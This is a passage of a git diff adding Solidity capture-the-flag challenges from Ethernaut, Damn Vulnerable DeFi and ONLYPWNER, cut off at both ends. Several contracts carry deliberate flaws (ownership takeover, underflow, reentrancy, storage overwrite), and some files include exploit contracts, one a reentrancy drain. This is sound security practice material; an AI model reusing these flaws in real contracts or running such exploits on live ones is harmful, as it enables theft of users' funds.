_updateLastWithdrawalTimestamp(uint256 timestamp) private { + _lastWithdrawalTimestamp = timestamp; + } + + // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade + function _authorizeUpgrade(address newImplementation) internal override onlyOwner { } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/Ethernaut/00_Ethernaut.sol b/contracts/CTF/Ethernaut/00_Ethernaut.sol new file mode 100644 index 0000000..ab4a365 --- /dev/null +++ b/contracts/CTF/Ethernaut/00_Ethernaut.sol @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import { Ownable } from "@openzeppelin/contracts-v4.7.3/access/Ownable.sol"; + +abstract contract Level is Ownable { + function createInstance(address _player) public payable virtual returns (address); + function validateInstance(address payable _instance, address _player) public virtual returns (bool); +} + +contract Ethernaut is Ownable { + // ---------------------------------- + // Owner interaction + // ---------------------------------- + + mapping(address player => bool isRegistered) private registeredLevels; + + // Only registered levels will be allowed to generate and validate level instances. + function registerLevel(Level _level) public onlyOwner { + registeredLevels[address(_level)] = true; + } + + // ---------------------------------- + // Get/submit level instances + // ---------------------------------- + + struct EmittedInstanceData { + address player; + Level level; + bool completed; + } + + mapping(address instance => EmittedInstanceData instanceData) private emittedInstances; + + event LevelInstanceCreatedLog(address indexed player, address instance); + event LevelCompletedLog(address indexed player, Level level); + + function createLevelInstance(Level _level) public payable returns (address) { + // Ensure level is registered. + require(registeredLevels[address(_level)], "level is not registered"); + + // Get level factory to create an instance. + address instance = _level.createInstance{ value: msg.value }(msg.sender); + + // Store emitted instance relationship with player and level. + emittedInstances[instance] = EmittedInstanceData(msg.sender, _level, false); + + // Retrieve created instance via logs. + emit LevelInstanceCreatedLog(msg.sender, instance); + + return instance; // Return data - not possible to read emitted events via solidity + } + + function submitLevelInstance(address payable _instance) public returns (bool) { + // Get player and level. + EmittedInstanceData storage data = emittedInstances[_instance]; + require(data.player == msg.sender, "Caller is not player"); // instance was emitted for this player + require(data.completed == false, "Exploit is not attack completed."); // not already submitted + + // Have the level check the instance. + if (data.level.validateInstance(_instance, msg.sender)) { + // Register instance as completed. + data.completed = true; + + // Notify success via logs. + emit LevelCompletedLog(msg.sender, data.level); + + return true; // Return data - not possible to read emitted events + } + + return false; // Return data - not possible to read emitted events via solidity + } +} diff --git a/contracts/CTF/Ethernaut/01_Fallback.sol b/contracts/CTF/Ethernaut/01_Fallback.sol new file mode 100644 index 0000000..6d6822a --- /dev/null +++ b/contracts/CTF/Ethernaut/01_Fallback.sol @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; +import { Level } from "./00_Ethernaut.sol"; + +contract Fallback { + using Math for uint256; + + mapping(address account => uint256 balance) public contributions; + address payable public owner; + + constructor() payable { + owner = payable(msg.sender); + contributions[msg.sender] = 1000 * (1 ether); + } + + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); + _; + } + + function contribute() public payable { + require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require + contributions[msg.sender] += msg.value; + if (contributions[msg.sender] > contributions[owner]) { + owner = payable(msg.sender); // Type issues must be payable address + } + } + + function getContribution() public view returns (uint256) { + return contributions[msg.sender]; + } + + function withdraw() public onlyOwner { + owner.transfer(address(this).balance); + } + + function _fallback() private { + // naming has switched to fallback + require(msg.value > 0 && contributions[msg.sender] > 0, "Not have made a contribution"); // Add message with + // require + owner = payable(msg.sender); // Type issues must be payable address + } + + fallback() external payable { + _fallback(); + } + + receive() external payable { + _fallback(); + } +} + +contract FallbackFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Fallback instance = new Fallback(); + return address(instance); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Fallback instance = Fallback(_instance); + return instance.owner() == _player && address(instance).balance == 0; + } +} diff --git a/contracts/CTF/Ethernaut/02_Fallout.sol b/contracts/CTF/Ethernaut/02_Fallout.sol new file mode 100644 index 0000000..8866fd4 --- /dev/null +++ b/contracts/CTF/Ethernaut/02_Fallout.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; +import { Level } from "./00_Ethernaut.sol"; + +contract Fallout { + using Math for uint256; + + mapping(address account => uint256 balance) private allocations; + address payable public owner; + + function Fal1out() public payable { + owner = payable(msg.sender); // Type issues must be payable address + allocations[owner] = msg.value; + } + + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); + _; + } + + function allocate() public payable { + (, allocations[msg.sender]) = allocations[msg.sender].tryAdd(msg.value); + } + + function sendAllocation(address payable allocator) public { + require(allocations[allocator] > 0, "not have enough balance"); + allocator.transfer(allocations[allocator]); + } + + function collectAllocations() public onlyOwner { + payable(msg.sender).transfer(address(this).balance); // Type issues must be payable address + } + + function allocatorBalance(address allocator) public view returns (uint256) { + return allocations[allocator]; + } +} + +contract FalloutFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Fallout instance = new Fallout(); + return address(instance); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Fallout instance = Fallout(_instance); + return instance.owner() == _player; + } +} diff --git a/contracts/CTF/ONLYPWNER/01.FREEBIE.sol b/contracts/CTF/ONLYPWNER/01.FREEBIE.sol new file mode 100644 index 0000000..3a4ad5d --- /dev/null +++ b/contracts/CTF/ONLYPWNER/01.FREEBIE.sol @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IVault { + event Deposit(address indexed user, uint256 amount); + event Withdraw(address indexed user, uint256 amount); + + function deposit() external payable; + function withdraw(uint256 amount) external; +} + +contract Vault is IVault { + uint256 public totalDeposited; + + function deposit() external payable { + totalDeposited += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 amount) external { + totalDeposited -= amount; + payable(msg.sender).transfer(amount); + emit Withdraw(msg.sender, amount); + } +} + +contract VaultExploit { + Vault private victimInstance; + + constructor(address _victim) { + victimInstance = Vault(_victim); + } + + function attack() external payable { + victimInstance.withdraw(victimInstance.totalDeposited()); + } + + receive() external payable { } +} diff --git a/contracts/CTF/ONLYPWNER/02.TUTORIAL.sol b/contracts/CTF/ONLYPWNER/02.TUTORIAL.sol new file mode 100644 index 0000000..9ca09b4 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/02.TUTORIAL.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface ITutorial { + function callMe() external; +} + +contract Tutorial is ITutorial { + constructor() payable { } + + function callMe() external override { + (bool success,) = msg.sender.call{ value: address(this).balance }(""); + require(success, "Tutorial: call failed"); + } +} + +contract TutorialExploit { + ITutorial private victimInstance; + + constructor(address _victim) { + victimInstance = ITutorial(_victim); + } + + function attack() external payable { + victimInstance.callMe(); + } + + receive() external payable { } +} diff --git a/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol b/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol new file mode 100644 index 0000000..a71efde --- /dev/null +++ b/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract MintableERC20 is ERC20 { + constructor(string memory name, string memory symbol, uint256 mintAmount) ERC20(name, symbol) { + _mint(msg.sender, mintAmount); + } +} + +interface IVault { + function deposit(uint256 amount) external; + function withdraw(uint256 sharesAmount) external; + function owner() external view returns (address); + function token() external view returns (IERC20); + function shares(address) external view returns (uint256); + function totalShares() external view returns (uint256); +} + +contract Vault is IVault { + address public override owner; + IERC20 public override token; + mapping(address => uint256) public override shares; + uint256 public override totalShares; + + constructor(address _token) { + owner = msg.sender; + token = IERC20(_token); + } + + function deposit(uint256 amount) external override { + require(amount > 0, "Vault: Amount must be greater than 0"); + + uint256 currentBalance = token.balanceOf(address(this)); + uint256 currentShares = totalShares; + + uint256 newShares; + if (currentShares == 0) { + newShares = amount; + } else { + newShares = (amount * currentShares) / currentBalance; + } + + console2.log(currentBalance, currentShares, amount, newShares); + shares[msg.sender] += newShares; + totalShares += newShares; + token.transferFrom(msg.sender, address(this), amount); + } + + function withdraw(uint256 sharesAmount) external override { + require(sharesAmount > 0, "Vault: Amount must be greater than 0"); + uint256 currentBalance = token.balanceOf(address(this)); + + uint256 payoutAmount = (sharesAmount * currentBalance) / totalShares; + + console2.log(currentBalance, totalShares, sharesAmount, payoutAmount); + + shares[msg.sender] -= sharesAmount; + totalShares -= sharesAmount; + + if (msg.sender == owner) { + payoutAmount *= 2; + } + token.transfer(msg.sender, payoutAmount); + } +} + +contract VaultExploit { + Vault private victimInstance; + + constructor(address _victim) { + victimInstance = Vault(_victim); + } + + function attack() external payable { + victimInstance.deposit(type(uint256).max); + } + + receive() external payable { } +} + +/* + +Q:加密货币中的地毯拉力是什么? +A:在加密货币市场中, “拉动”一词是指加密项目所有者在窃取投资者资金后放弃该项目的恶意行为。 + +Q:加密地毯拉动的常见迹象有哪些? +A:表明项目是“地毯式拉动”的危险信号包括:该项目一夜之间出现、流动性低、开发商匿名以及没有审计。 + +Q:加密地毯拉动和 DeFi 黑客有什么区别? +A:加密货币黑客攻击是由外部参与者利用代币代码窃取其部分流动性而进行的,而 DeFi Rug Pull 则是由项目所有者自己进行的。 + +Q:是否有可能追回加密地毯拉动中损失的资金? +A:由于涉及犯罪者的真实身份不得而知,因此几乎不可能追回在抢劫中损失的资金。 + +Q: QuillAudits 提供什么样的尽职调查? +A:我们开展技术和运营尽职调查,并根据审计员标记为危险的功能分析项目的代码。 + +*/ diff --git a/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol b/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol new file mode 100644 index 0000000..953d735 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IImprovedERC20 { + function transfer(address _to, uint256 _value) external returns (bool); + + function transferFrom(address _from, address _to, uint256 _value) external returns (bool); + function approve(address _spender, uint256 _value) external returns (bool); + function mint(uint256 _value) external; + function burn(address _who, uint256 _value) external; + function owner() external view returns (address); + function balanceOf(address _who) external view returns (uint256); + function allowance(address _owner, address _spender) external view returns (uint256); + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); +} + +contract ImprovedERC20 is IImprovedERC20 { + mapping(address => uint256) public override balanceOf; + mapping(address => mapping(address => uint256)) public override allowance; + address public override owner; + + string public override name; + string public override symbol; + uint8 public override decimals; + + constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) { + name = _name; + symbol = _symbol; + decimals = _decimals; + owner = msg.sender; + balanceOf[msg.sender] = _initialSupply; + } + + function transfer(address _to, uint256 _value) external override returns (bool) { + require(balanceOf[msg.sender] >= _value, "Insufficient balance"); + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) external override returns (bool) { + require(balanceOf[_from] >= _value, "Insufficient balance"); + require(allowance[_from][msg.sender] - _value > 0, "Insufficient allowance"); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + allowance[_from][msg.sender] -= _value; + return true; + } + + function approve(address _spender, uint256 _value) external override returns (bool) { + allowance[msg.sender][_spender] = _value; + return true; + } + + function mint(uint256 _value) external override { + require(msg.sender == owner, "Only owner can mint"); + balanceOf[msg.sender] += _value; + } + + function burn(address _who, uint256 _value) external override { + require(balanceOf[_who] >= _value, "Insufficient balance"); + unchecked { + balanceOf[_who] -= _value; + } + } +} diff --git a/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol b/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol new file mode 100644 index 0000000..29d061f --- /dev/null +++ b/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IWrappedEther { + event Transfer(address indexed from, address indexed to, uint256 amount); + event Approval(address indexed owner, address indexed spender, uint256 amount); + event Deposit(address indexed from, uint256 amount); + event Withdraw(address indexed to, uint256 amount); + + function deposit(address to) external payable; + function withdraw(uint256 amount) external; + function withdrawAll() external; + function transfer(address to, uint256 amount) external; + function transferFrom(address from, address to, uint256 amount) external; + function approve(address spender, uint256 amount) external; + function balanceOf(address account) external view returns (uint256); + function allowance(address owner, address spender) external view returns (uint256); +} + +contract WrappedEther is IWrappedEther { + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + function deposit(address to) external payable { + balanceOf[to] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 amount) external { + require(balanceOf[msg.sender] >= amount, "insufficient balance"); + balanceOf[msg.sender] -= amount; + sendEth(payable(msg.sender), amount); + emit Withdraw(msg.sender, amount); + } + + function withdrawAll() external { + sendEth(payable(msg.sender), balanceOf[msg.sender]); + balanceOf[msg.sender] = 0; + emit Withdraw(msg.sender, balanceOf[msg.sender]); + } + + function transfer(address to, uint256 amount) external { + require(balanceOf[msg.sender] >= amount, "insufficient balance"); + balanceOf[msg.sender] -= amount; + balanceOf[to] += amount; + emit Transfer(msg.sender, to, amount); + } + + function transferFrom(address from, address to, uint256 amount) external { + require(balanceOf[from] >= amount, "insufficient balance"); + require(allowance[from][msg.sender] >= amount, "insufficient allowance"); + balanceOf[from] -= amount; + balanceOf[to] += amount; + allowance[from][msg.sender] -= amount; + emit Transfer(from, to, amount); + } + + function approve(address spender, uint256 amount) external { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + } + + function sendEth(address payable to, uint256 amount) private { + (bool success,) = to.call{ value: amount }(""); + require(success, "failed to send ether"); + } +} + +contract WrappedEtherExploit { + WrappedEther private victimInstance; + uint256 private initialDeposit; + + constructor(address _victim) { + victimInstance = WrappedEther(_victim); + } + + function attack() external payable { + initialDeposit = msg.value; + victimInstance.deposit{ value: initialDeposit }(address(this)); + _withdraw(); + } + + receive() external payable { + _withdraw(); + } + + function _withdraw() private { + uint256 victimBalance = address(victimInstance).balance; + if (victimBalance > 0) { + uint256 toWithdraw = initialDeposit; + if (toWithdraw > victimBalance) { + toWithdraw = victimBalance; + } + if (toWithdraw > 0) { + victimInstance.withdrawAll(); + } + } + } +} diff --git a/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol b/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol new file mode 100644 index 0000000..596db44 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol @@ -0,0 +1,119 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IMulticall { + function multicall(bytes[] calldata data) external payable returns (bytes[] memory results); +} + +interface IAllOrNothing { + function declareWinner(address user) external; + function withdrawWinnings() external; + function bet(uint256 number, address recipient) external payable; + function void() external; + function transfer(address to) external; + function publish(uint256 number) external; + function owner() external returns (address); + function bestPlayer() external returns (address); + function winningNumber() external returns (uint256); + function bets(address) external returns (uint256); + function BET_AMOUNT() external returns (uint256); + function DEADLINE() external returns (uint256); + function DECLARE_DEADLINE() external returns (uint256); +} + +contract Multicall is IMulticall { + function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) { + results = new bytes[](data.length); + for (uint256 i = 0; i < data.length; i++) { + results[i] = doDelegateCall(data[i]); + } + return results; + } + + function doDelegateCall(bytes memory data) private returns (bytes memory) { + (bool success, bytes memory res) = address(this).delegatecall(data); + + if (!success) { + revert(string(res)); + } + + return res; + } +} +/// A contract where users can bet on a random number being published. +/// The user who is closest to the number wins all the bets. + +contract AllOrNothing is IAllOrNothing, Multicall { + address public owner; + address public bestPlayer; + uint256 public winningNumber; + mapping(address => uint256) public bets; + + uint256 public immutable BET_AMOUNT; + uint256 public immutable DEADLINE; + uint256 public immutable DECLARE_DEADLINE; + + constructor(uint256 betAmount, uint256 duration) { + owner = msg.sender; + BET_AMOUNT = betAmount; + DEADLINE = block.timestamp + duration; + DECLARE_DEADLINE = DEADLINE + 1 days; + } + + function declareWinner(address user) external { + require(bets[user] != 0, "Must have placed bet"); + require(block.timestamp >= DEADLINE && block.timestamp < DECLARE_DEADLINE, "Deadline not passed"); + require(winningNumber != 0, "Winning number not published"); + + if (bestPlayer == address(0)) { + bestPlayer = user; + return; + } + unchecked { + uint256 distance = bets[user] > winningNumber ? bets[user] - winningNumber : winningNumber - bets[user]; + uint256 bestDistance = + bets[bestPlayer] > winningNumber ? bets[bestPlayer] - winningNumber : winningNumber - bets[bestPlayer]; + if (distance < bestDistance) { + bestPlayer = user; + } + } + } + + function withdrawWinnings() external { + require(msg.sender == bestPlayer, "Must be best player"); + require(block.timestamp >= DECLARE_DEADLINE, "Deadline not passed"); + + payable(msg.sender).transfer(address(this).balance); + } + + function bet(uint256 number, address recipient) external payable { + require(bets[recipient] == 0, "Already placed bet"); + require(msg.value == BET_AMOUNT, "Value too low"); + require(block.timestamp < DEADLINE, "Deadline passed"); + + bets[recipient] = number; + } + + function void() external { + require(bets[msg.sender] != 0, "Must have placed bet"); + require(block.timestamp < DEADLINE, "Deadline passed"); + + bets[msg.sender] = 0; + payable(msg.sender).transfer(BET_AMOUNT); + } + + function transfer(address to) external { + require(bets[msg.sender] != 0, "Must have placed bet"); + require(bets[to] == 0, "Recipient must not have placed bet"); + + bets[to] = bets[msg.sender]; + bets[msg.sender] = 0; + } + + function publish(uint256 number) external { + require(msg.sender == owner, "Must be owner"); + require(block.timestamp >= DEADLINE, "Deadline not passed"); + + winningNumber = number; + } +} diff --git a/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol b/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol new file mode 100644 index 0000000..9c74b30 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IPetition { + function initialize() external; + function signSupport(Signature calldata signature) external; + function signReject(Signature calldata signature) external; + function finishPetition() external; + function owner() external view returns (address); + function isFinished() external view returns (bool); + function supportDigest() external view returns (bytes32); + function rejectDigest() external view returns (bytes32); + + struct Signature { + uint8 v; + bytes32 r; + bytes32 s; + } + + struct StoragePointer { + uint256 value; + } + + event Signed(address indexed signer, bool isSupport); +} + +contract Petition is IPetition { + address public override owner; + bool public isFinished; + + bytes32 public override supportDigest; + bytes32 public override rejectDigest; + + function initialize() external override { + require(owner == address(0), "Already initialized"); + owner = msg.sender; + + string memory toSignSupport = "I support the cause!"; + bytes32 hashSupport = keccak256(abi.encodePacked(toSignSupport)); + supportDigest = toEthSignedMessageHash(hashSupport); + + string memory toSignReject = "I reject the cause!"; + bytes32 hashReject = keccak256(abi.encodePacked(toSignReject)); + rejectDigest = toEthSignedMessageHash(hashReject); + } + + function signSupport(Signature calldata signature) external override { + require(!isFinished, "Petition is finished"); + address signer = ecrecover(supportDigest, signature.v, signature.r, signature.s); + writeStatus(signer, true); + } + + function signReject(Signature calldata signature) external override { + require(!isFinished, "Petition is finished"); + address signer = ecrecover(rejectDigest, signature.v, signature.r, signature.s); + writeStatus(signer, false); + } + + function finishPetition() external override { + require(msg.sender == owner, "Only owner can finish petition"); + isFinished = true; + } + + function writeStatus(address signer, bool isSupport) private { + StoragePointer storage pointer; + bytes32 slot = bytes32(uint256(uint160(signer))); + assembly { + pointer.slot := slot + } + + if (isSupport) { + pointer.value = 1; + } else { + pointer.value = 0; + } + + emit Signed(signer, isSupport); + } + + function toEthSignedMessageHash(bytes32 hash) private pure returns (bytes32 result) { + assembly { + mstore(0x00, "\x19Ethereum Signed Message:\n32") + mstore(0x1c, hash) + result := keccak256(0x00, 0x3c) + } + } +} diff --git a/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol b/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol new file mode 100644 index 0000000..0f72b14 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol @@ -0,0 +1,130 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// https://onlypwner.xyz/challenges/3 + +interface IBridge { + struct ValidatorInfo { + uint256 deposit; + address referrer; + bytes32 tag; + } + + function voteForNewRoot(bytes calldata vote) external; + function registerValidator(address referrer, bytes32 tag) external payable; + function addAdmin(address admin) external; + function owner() external view returns (address); + function admins(uint256) external view returns (address); + function validators(address) external view returns (ValidatorInfo memory); + function votedOn(bytes32, address) external view returns (bool); + function votesFor(bytes32) external view returns (uint256); + function stateRoot() external view returns (bytes32); + + event ValidatorRegistered(address indexed validator, bytes32 tag); + event ValidatorUnregistered(address indexed validator); + event ValidatorActivated(address indexed validator); + event ValidatorDisabled(address indexed validator); + + event NewStateRoot(bytes32 indexed stateRoot, bytes32 indexed validatorTag); +} + +contract Bridge is IBridge { + address public override owner; + address[] public override admins; + mapping(address => ValidatorInfo) private _validators; + mapping(bytes32 => mapping(address => bool)) public override votedOn; + mapping(bytes32 => uint256) public override votesFor; + bytes32 public override stateRoot; + + uint256 constant PREFIX_LENGTH = 0x4 + 0x20 + 0x20; + + modifier onlyValidator() { + require(_validators[msg.sender].deposit > 0, "Bridge: caller is not a validator"); + _; + } + + modifier onlyOwner() { + require(msg.sender == owner, "Bridge: caller is not the owner"); + _; + } + + constructor() { + owner = msg.sender; + } + + function voteForNewRoot(bytes calldata vote) external override onlyValidator { + (bytes32 newRoot, bool isFor,) = decodeCompressedVote(vote); + handleNewVote(newRoot, isFor); + + if (isFor) { + tryActivateStateRoot(newRoot); + } + } + + function registerValidator(address referrer, bytes32 tag) external payable override { + require(msg.value >= 1 ether, "Bridge: insufficient deposit"); + require(_validators[msg.sender].deposit == 0, "Bridge: already registered"); + + _validators[msg.sender] = ValidatorInfo({ deposit: msg.value, referrer: referrer, tag: tag }); + + emit ValidatorRegistered(msg.sender, tag); + } + + function addAdmin(address admin) external override onlyOwner { + admins.push(admin); + } + + function validators(address validator) external view override returns (ValidatorInfo memory) { + return _validators[validator]; + } + + function decodeCompressedVote(bytes memory vote) private pure returns (bytes32 newRoot, bool isFor, uint48 ts) { + require(vote.length <= PREFIX_LENGTH + 0x28, "Bridge: invalid vote length"); + + assembly { + calldatacopy(0x0, PREFIX_LENGTH, calldatasize()) + newRoot := mload(0x0) + isFor := mload(0x20) + ts := shr(mload(0x22), 0x20) + } + } + + function handleNewVote(bytes32 newRoot, bool isFor) private { + require(!votedOn[newRoot][msg.sender], "Bridge: validator already voted"); + votedOn[newRoot][msg.sender] = true; + + if (!isFor) { + return; + } + + votesFor[newRoot] += _validators[msg.sender].deposit; + } + + function tryActivateStateRoot(bytes32 root) private { + ValidatorInfo memory info = _validators[msg.sender]; + address[] memory currentAdmins = getAdmins(); + + bool isAdmin = false; + for (uint256 i = 0; i < currentAdmins.length; i++) { + if (currentAdmins[i] == msg.sender) { + isAdmin = true; + break; + } + } + + if (isAdmin || votesFor[root] >= 100 ether) { + votesFor[root] = 0; + stateRoot = root; + emit NewStateRoot(root, info.tag); + } + } + + function getAdmins() private view returns (address[] memory result) { + if (admins.length > 0) { + result = new address[](admins.length); + for (uint256 i = 0; i < admins.length; i++) { + result[i] = admins[i]; + } + } + } +} diff --git a/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol b/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol new file mode 100644 index 0000000..f291c75 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// https://onlypwner.xyz/challenges/8 + +interface ITarget { + function first() external returns (bytes32); + function second() external returns (bytes32); + function third() external returns (bytes32); +} + +interface IStunt { + function attempt(address target) external; + function claimReward(address target) external; + function withdraw() external; + function owner() external returns (address); + function solved(address) external returns (bool); + function claimed(address) external returns (bool); +} + +contract Stunt is IStunt { + address public override owner; + mapping(address => bool) public override solved; + mapping(address => bool) public override claimed; + + constructor() payable { + owner = msg.sender; + } + + modifier onlyContract(address target) { + uint256 size; + assembly { + size := extcodesize(target) + } + + require(size > 0, "not a contract"); + _; + } + + function attempt(address target) external override onlyContract(target) { + bytes32 firstResult = ITarget(target).first(); + require(firstResult == hex"deadbeef", "first failed"); + + bytes32 secondResult = ITarget(target).second(); + require(secondResult == hex"c0ffeebabe", "second failed"); + + bytes32 thirdResult = ITarget(target).third(); + require(thirdResult == hex"1337", "third failed"); + + solved[target] = true; + } + + function claimReward(address target) external override onlyContract(target) { + require(solved[target], "not solved"); + require(!claimed[target], "already claimed"); + + claimed[target] = true; + + uint256 size; + assembly { + size := extcodesize(target) + } + + uint256 reward; + if (size <= 3) { + // Don't worry, that is impossible. + reward = 100 ether; + } else if (size <= 10) { + reward = 1e12; + } else if (size <= 100) { + reward = 1e10; + } + + (bool success,) = target.call{ value: reward }(""); + require(success, "transfer failed"); + } + + function withdraw() external override { + require(msg.sender == owner, "not owner"); + payable(msg.sender).transfer(address(this).balance); + } +} diff --git a/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol b/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol new file mode 100644 index 0000000..bc3dae8 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IAirdrop { + function claim(address recipient) external; + function addRecipient(address recipient) external payable; + function balances(address who) external view returns (uint256); +} + +contract Airdrop is IAirdrop { + mapping(address => uint256) public balances; + uint256 private savedContractBalance; + bool private entered = false; + + constructor() { } + + // Only EOAs can interact with this contract for security reasons. + modifier notContract(address who) { + uint256 size; + assembly { + size := extcodesize(who) + } + require(size == 0, "Contracts not allowed"); + _; + } + + // To be extra safe, we still use a reentrancy guard. + modifier nonReentrant() { + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + _; + entered = false; + } + + function claim(address recipient) external notContract(recipient) { + savedContractBalance = address(this).balance; + + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + (bool success,) = msg.sender.call{ value: balances[msg.sender] }(""); + require(success, "Transfer failed."); + // No reentrancy opportunity from here on. + entered = false; + + updateUserBalance(); + } + + function addRecipient(address recipient) external payable nonReentrant notContract(recipient) { + balances[recipient] += msg.value; + } + + function updateUserBalance() internal { + // This will get called quite often + // so we implement the expensive logic in assembly. + assembly { + function checkFunds(originalUserBalance, originalContractBalance) -> newUserBalance { + /// @dev In case we add fee-on-transfer tokens at some point + let expectedBalance := sub(originalContractBalance, originalUserBalance) + if iszero(gt(balance(address()), expectedBalance)) { + let diff := sub(expectedBalance, balance(address())) + newUserBalance := sub(newUserBalance, diff) + leave + } + + return(0, 0) + } + + mstore(0x0, caller()) + mstore(0x20, 0) + // Get the balances mapping slot + let slot := keccak256(0x0, 0x40) + let originalContractBalance := sload(1) + let originalUserBalance := sload(slot) + + // Optimistically set it to 0. + sstore(slot, 0) + + let newUserBalance := checkFunds(originalUserBalance, originalContractBalance) + + // If we had a fee-on-transfer token, set the correct balance. + // (Not yet implemented) + sstore(slot, newUserBalance) + } + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION.sol new file mode 100644 index 0000000..65ae854 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION.sol @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +// GOTO 11.DIVERSION DIR diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol new file mode 100644 index 0000000..c90ed91 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { IOracle } from "./interfaces/IOracle.sol"; +import { IWETH } from "./interfaces/IWETH.sol"; +import { IFarming } from "./interfaces/IFarming.sol"; +import { ReentrancyGuard } from 